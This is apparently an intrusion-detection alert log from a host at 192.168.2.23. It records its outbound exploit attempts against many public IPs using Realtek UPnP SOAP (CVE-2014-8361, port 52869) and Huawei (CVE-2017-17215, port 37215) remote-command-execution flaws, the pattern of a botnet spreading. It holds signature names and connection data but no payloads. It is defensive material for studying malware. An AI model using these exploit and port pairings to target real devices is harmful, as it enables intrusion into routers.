07/20/24-23:01:42.136561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60018	52869	192.168.2.23	118.130.245.154
07/20/24-23:01:20.593003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49616	52869	192.168.2.23	78.146.199.168
07/20/24-23:01:42.500263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38876	52869	192.168.2.23	176.130.206.241
07/20/24-23:01:47.729778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54816	52869	192.168.2.23	148.119.6.34
07/20/24-23:01:58.751559	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46830	52869	192.168.2.23	2.29.217.143
07/20/24-23:01:21.099180	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51752	52869	192.168.2.23	9.70.14.160
07/20/24-23:01:42.477986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39374	52869	192.168.2.23	82.79.140.185
07/20/24-23:01:42.250039	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55558	52869	192.168.2.23	220.17.179.230
07/20/24-23:01:01.623383	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56122	52869	192.168.2.23	34.53.37.254
07/20/24-23:01:42.898615	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47258	52869	192.168.2.23	208.122.170.150
07/20/24-23:01:01.313651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41252	52869	192.168.2.23	188.92.250.125
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51332	37215	192.168.2.23	220.78.147.215
07/20/24-23:01:10.698072	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45622	52869	192.168.2.23	143.147.165.127
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35824	37215	192.168.2.23	141.24.192.29
07/20/24-23:01:44.416791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47972	52869	192.168.2.23	167.144.253.27
07/20/24-23:01:59.137101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60448	52869	192.168.2.23	60.191.4.143
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52436	37215	192.168.2.23	157.34.170.95
07/20/24-23:01:41.318733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59840	52869	192.168.2.23	125.128.111.151
07/20/24-23:01:04.039129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32866	37215	192.168.2.23	157.100.128.69
07/20/24-23:02:01.796252	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45564	52869	192.168.2.23	132.230.249.224
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52552	37215	192.168.2.23	157.113.160.230
07/20/24-23:01:50.380701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40426	52869	192.168.2.23	139.56.86.16
07/20/24-23:01:47.995202	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60130	52869	192.168.2.23	65.82.234.209
07/20/24-23:01:14.117066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46970	37215	192.168.2.23	147.3.130.23
07/20/24-23:01:44.565131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39708	52869	192.168.2.23	189.66.149.229
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47014	37215	192.168.2.23	19.58.9.63
07/20/24-23:01:08.663245	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36028	52869	192.168.2.23	168.229.219.185
07/20/24-23:01:42.962388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42806	52869	192.168.2.23	189.200.249.59
07/20/24-23:02:06.767377	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60718	52869	192.168.2.23	157.69.166.230
07/20/24-23:01:52.766296	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44980	52869	192.168.2.23	134.168.191.164
07/20/24-23:01:47.644828	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45610	52869	192.168.2.23	75.3.82.5
07/20/24-23:01:42.662466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47294	52869	192.168.2.23	112.102.125.164
07/20/24-23:01:44.362240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59436	52869	192.168.2.23	66.43.237.112
07/20/24-23:00:57.221338	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47982	37215	192.168.2.23	197.32.17.115
07/20/24-23:01:42.699478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35692	52869	192.168.2.23	158.36.226.221
07/20/24-23:01:58.249114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46940	52869	192.168.2.23	213.9.81.218
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60530	37215	192.168.2.23	41.50.33.93
07/20/24-23:01:43.023857	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45074	52869	192.168.2.23	49.238.106.168
07/20/24-23:01:27.650969	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54752	37215	192.168.2.23	157.247.9.98
07/20/24-23:01:41.549051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42536	52869	192.168.2.23	8.243.36.237
07/20/24-23:01:48.932731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54026	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:48.118060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49534	52869	192.168.2.23	192.178.20.121
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49380	37215	192.168.2.23	157.177.146.54
07/20/24-23:01:41.722161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51006	52869	192.168.2.23	169.160.238.67
07/20/24-23:01:55.928013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48608	52869	192.168.2.23	79.113.232.226
07/20/24-23:02:03.032025	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53862	52869	192.168.2.23	63.42.182.153
07/20/24-23:01:04.227976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39874	37215	192.168.2.23	197.234.180.134
07/20/24-23:01:20.184321	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46508	37215	192.168.2.23	113.230.74.224
07/20/24-23:01:44.713195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58376	52869	192.168.2.23	159.88.48.35
07/20/24-23:01:58.202290	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34350	52869	192.168.2.23	78.168.25.83
07/20/24-23:01:21.931985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51232	37215	192.168.2.23	41.240.0.142
07/20/24-23:01:08.562013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55056	52869	192.168.2.23	212.114.230.189
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37448	37215	192.168.2.23	157.148.206.73
07/20/24-23:01:50.280308	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37410	52869	192.168.2.23	91.203.103.36
07/20/24-23:01:59.707283	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38118	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:44.944699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56168	52869	192.168.2.23	91.160.10.25
07/20/24-23:01:54.405308	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47414	52869	192.168.2.23	176.129.124.225
07/20/24-23:01:08.640831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35026	52869	192.168.2.23	114.190.123.93
07/20/24-23:01:41.290281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54992	52869	192.168.2.23	80.7.39.33
07/20/24-23:02:09.704983	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56436	52869	192.168.2.23	172.173.247.102
07/20/24-23:01:47.163877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38452	52869	192.168.2.23	191.56.81.141
07/20/24-23:01:11.180811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40870	52869	192.168.2.23	164.126.39.49
07/20/24-23:01:25.994344	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37924	52869	192.168.2.23	145.117.47.181
07/20/24-23:01:48.286177	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59364	52869	192.168.2.23	41.3.4.242
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55990	37215	192.168.2.23	41.84.70.245
07/20/24-23:01:06.990165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45840	37215	192.168.2.23	197.128.152.66
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54644	37215	192.168.2.23	197.141.230.31
07/20/24-23:00:57.221802	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43520	37215	192.168.2.23	61.117.29.155
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48598	37215	192.168.2.23	157.122.28.196
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36270	37215	192.168.2.23	41.50.145.107
07/20/24-23:01:48.102919	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60570	52869	192.168.2.23	66.43.237.112
07/20/24-23:01:26.131973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39576	52869	192.168.2.23	24.238.134.176
07/20/24-23:01:48.701126	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38500	52869	192.168.2.23	48.211.124.159
07/20/24-23:01:42.912947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44764	52869	192.168.2.23	99.220.126.213
07/20/24-23:01:44.756264	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52646	52869	192.168.2.23	128.242.86.47
07/20/24-23:00:59.213564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60464	37215	192.168.2.23	41.189.194.244
07/20/24-23:01:53.269588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54980	52869	192.168.2.23	166.201.201.44
07/20/24-23:01:50.339110	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35216	52869	192.168.2.23	125.185.15.217
07/20/24-23:01:55.994693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44766	52869	192.168.2.23	8.198.15.37
07/20/24-23:01:43.917774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42596	52869	192.168.2.23	172.124.39.209
07/20/24-23:01:08.677485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57992	52869	192.168.2.23	65.136.207.183
07/20/24-23:01:43.013772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41218	52869	192.168.2.23	107.204.90.199
07/20/24-23:01:51.056707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42318	52869	192.168.2.23	61.237.192.205
07/20/24-23:01:54.859884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38430	52869	192.168.2.23	17.36.200.98
07/20/24-23:01:43.177552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48212	52869	192.168.2.23	66.34.14.57
07/20/24-23:01:42.761962	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37874	52869	192.168.2.23	180.231.223.193
07/20/24-23:00:59.158278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46354	37215	192.168.2.23	84.167.140.65
07/20/24-23:01:43.571815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41624	52869	192.168.2.23	203.162.151.3
07/20/24-23:01:44.118192	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40918	52869	192.168.2.23	150.183.171.74
07/20/24-23:01:45.764338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53368	52869	192.168.2.23	90.133.16.151
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57576	37215	192.168.2.23	197.244.173.225
07/20/24-23:01:31.317774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42478	52869	192.168.2.23	151.115.197.13
07/20/24-23:02:12.142469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46094	52869	192.168.2.23	72.122.103.48
07/20/24-23:01:41.263056	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51596	52869	192.168.2.23	145.236.96.35
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40554	37215	192.168.2.23	182.56.199.136
07/20/24-23:01:31.991336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53734	37215	192.168.2.23	41.126.24.60
07/20/24-23:01:08.667963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39612	52869	192.168.2.23	44.181.179.103
07/20/24-23:01:45.116897	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47614	52869	192.168.2.23	208.81.102.220
07/20/24-23:01:43.088724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42460	52869	192.168.2.23	174.130.13.191
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53720	37215	192.168.2.23	157.43.220.26
07/20/24-23:01:43.922614	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44866	52869	192.168.2.23	94.187.41.215
07/20/24-23:01:42.702731	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40134	52869	192.168.2.23	126.163.211.196
07/20/24-23:01:44.026968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36782	52869	192.168.2.23	89.86.226.219
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44792	37215	192.168.2.23	139.13.89.177
07/20/24-23:01:44.945909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42050	52869	192.168.2.23	153.239.16.237
07/20/24-23:01:48.047800	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53322	52869	192.168.2.23	63.26.163.169
07/20/24-23:01:45.194629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33566	52869	192.168.2.23	89.81.144.22
07/20/24-23:01:47.413068	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48138	52869	192.168.2.23	94.8.52.195
07/20/24-23:01:41.399866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44060	52869	192.168.2.23	59.109.143.129
07/20/24-23:01:48.496838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58716	52869	192.168.2.23	159.51.221.45
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36080	37215	192.168.2.23	223.98.49.191
07/20/24-23:01:43.047922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60022	52869	192.168.2.23	98.94.65.60
07/20/24-23:01:44.144821	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57366	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:08.567236	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59368	52869	192.168.2.23	153.15.211.214
07/20/24-23:01:08.663244	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58542	52869	192.168.2.23	139.21.143.158
07/20/24-23:01:45.432263	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46866	52869	192.168.2.23	110.45.133.89
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59578	37215	192.168.2.23	157.83.235.248
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52098	37215	192.168.2.23	157.225.33.253
07/20/24-23:01:56.239090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41492	52869	192.168.2.23	164.216.95.45
07/20/24-23:01:46.561347	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53114	52869	192.168.2.23	63.138.19.167
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37246	37215	192.168.2.23	60.7.102.124
07/20/24-23:01:44.484644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49704	52869	192.168.2.23	105.187.39.89
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36418	37215	192.168.2.23	44.253.8.229
07/20/24-23:01:26.138638	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44014	52869	192.168.2.23	142.4.77.39
07/20/24-23:01:43.209467	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44154	52869	192.168.2.23	54.184.6.19
07/20/24-23:02:11.743968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52868	52869	192.168.2.23	184.146.237.12
07/20/24-23:01:53.237113	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51226	52869	192.168.2.23	160.211.55.1
07/20/24-23:01:42.874808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54348	52869	192.168.2.23	146.0.35.148
07/20/24-23:01:56.845732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36454	52869	192.168.2.23	60.59.133.184
07/20/24-23:01:59.104072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49432	52869	192.168.2.23	121.198.173.54
07/20/24-23:01:14.100332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52630	37215	192.168.2.23	89.245.53.30
07/20/24-23:01:27.660100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41958	37215	192.168.2.23	197.195.116.74
07/20/24-23:01:44.895849	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51438	52869	192.168.2.23	120.63.90.68
07/20/24-23:01:58.717674	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60566	52869	192.168.2.23	106.40.108.231
07/20/24-23:01:20.591350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42172	52869	192.168.2.23	4.129.239.131
07/20/24-23:01:42.014480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46038	52869	192.168.2.23	152.44.195.237
07/20/24-23:01:00.633742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34184	37215	192.168.2.23	41.78.37.100
07/20/24-23:01:03.143706	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38728	52869	192.168.2.23	25.222.87.118
07/20/24-23:01:01.469737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54336	52869	192.168.2.23	24.167.37.167
07/20/24-23:01:42.474339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37058	52869	192.168.2.23	71.221.213.203
07/20/24-23:01:11.817436	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53206	37215	192.168.2.23	41.222.86.83
07/20/24-23:01:49.075905	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54498	52869	192.168.2.23	125.106.198.203
07/20/24-23:01:40.307218	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58444	37215	192.168.2.23	197.63.159.44
07/20/24-23:01:43.843278	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57508	52869	192.168.2.23	182.49.153.25
07/20/24-23:01:46.054775	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50738	52869	192.168.2.23	192.178.20.121
07/20/24-23:02:00.351070	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45256	52869	192.168.2.23	130.165.149.247
07/20/24-23:01:03.115715	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60020	52869	192.168.2.23	195.64.245.14
07/20/24-23:01:08.611773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39856	52869	192.168.2.23	104.75.200.235
07/20/24-23:01:44.440718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49428	52869	192.168.2.23	159.247.88.93
07/20/24-23:01:43.013771	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49614	52869	192.168.2.23	149.136.40.221
07/20/24-23:01:44.054566	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50458	52869	192.168.2.23	44.113.54.165
07/20/24-23:01:54.702517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33592	52869	192.168.2.23	83.238.5.172
07/20/24-23:01:43.659105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36324	52869	192.168.2.23	99.176.241.96
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54286	37215	192.168.2.23	41.115.147.179
07/20/24-23:01:48.834296	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33796	52869	192.168.2.23	50.12.228.50
07/20/24-23:01:42.280418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54748	52869	192.168.2.23	75.163.230.218
07/20/24-23:01:47.850156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35398	52869	192.168.2.23	91.148.233.46
07/20/24-23:02:03.245732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37204	52869	192.168.2.23	84.248.195.35
07/20/24-23:01:41.417573	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42700	52869	192.168.2.23	163.18.131.94
07/20/24-23:01:49.775041	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48102	52869	192.168.2.23	75.33.175.78
07/20/24-23:01:46.358381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42794	52869	192.168.2.23	203.57.14.26
07/20/24-23:01:43.147289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41806	52869	192.168.2.23	113.1.100.136
07/20/24-23:00:57.221482	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40150	37215	192.168.2.23	41.226.72.201
07/20/24-23:01:43.160906	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60250	52869	192.168.2.23	125.137.245.127
07/20/24-23:01:42.966087	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49634	52869	192.168.2.23	31.247.155.57
07/20/24-23:01:44.452218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52330	52869	192.168.2.23	114.234.94.36
07/20/24-23:01:52.393089	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58436	52869	192.168.2.23	132.247.218.225
07/20/24-23:01:48.965786	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56564	52869	192.168.2.23	216.13.41.148
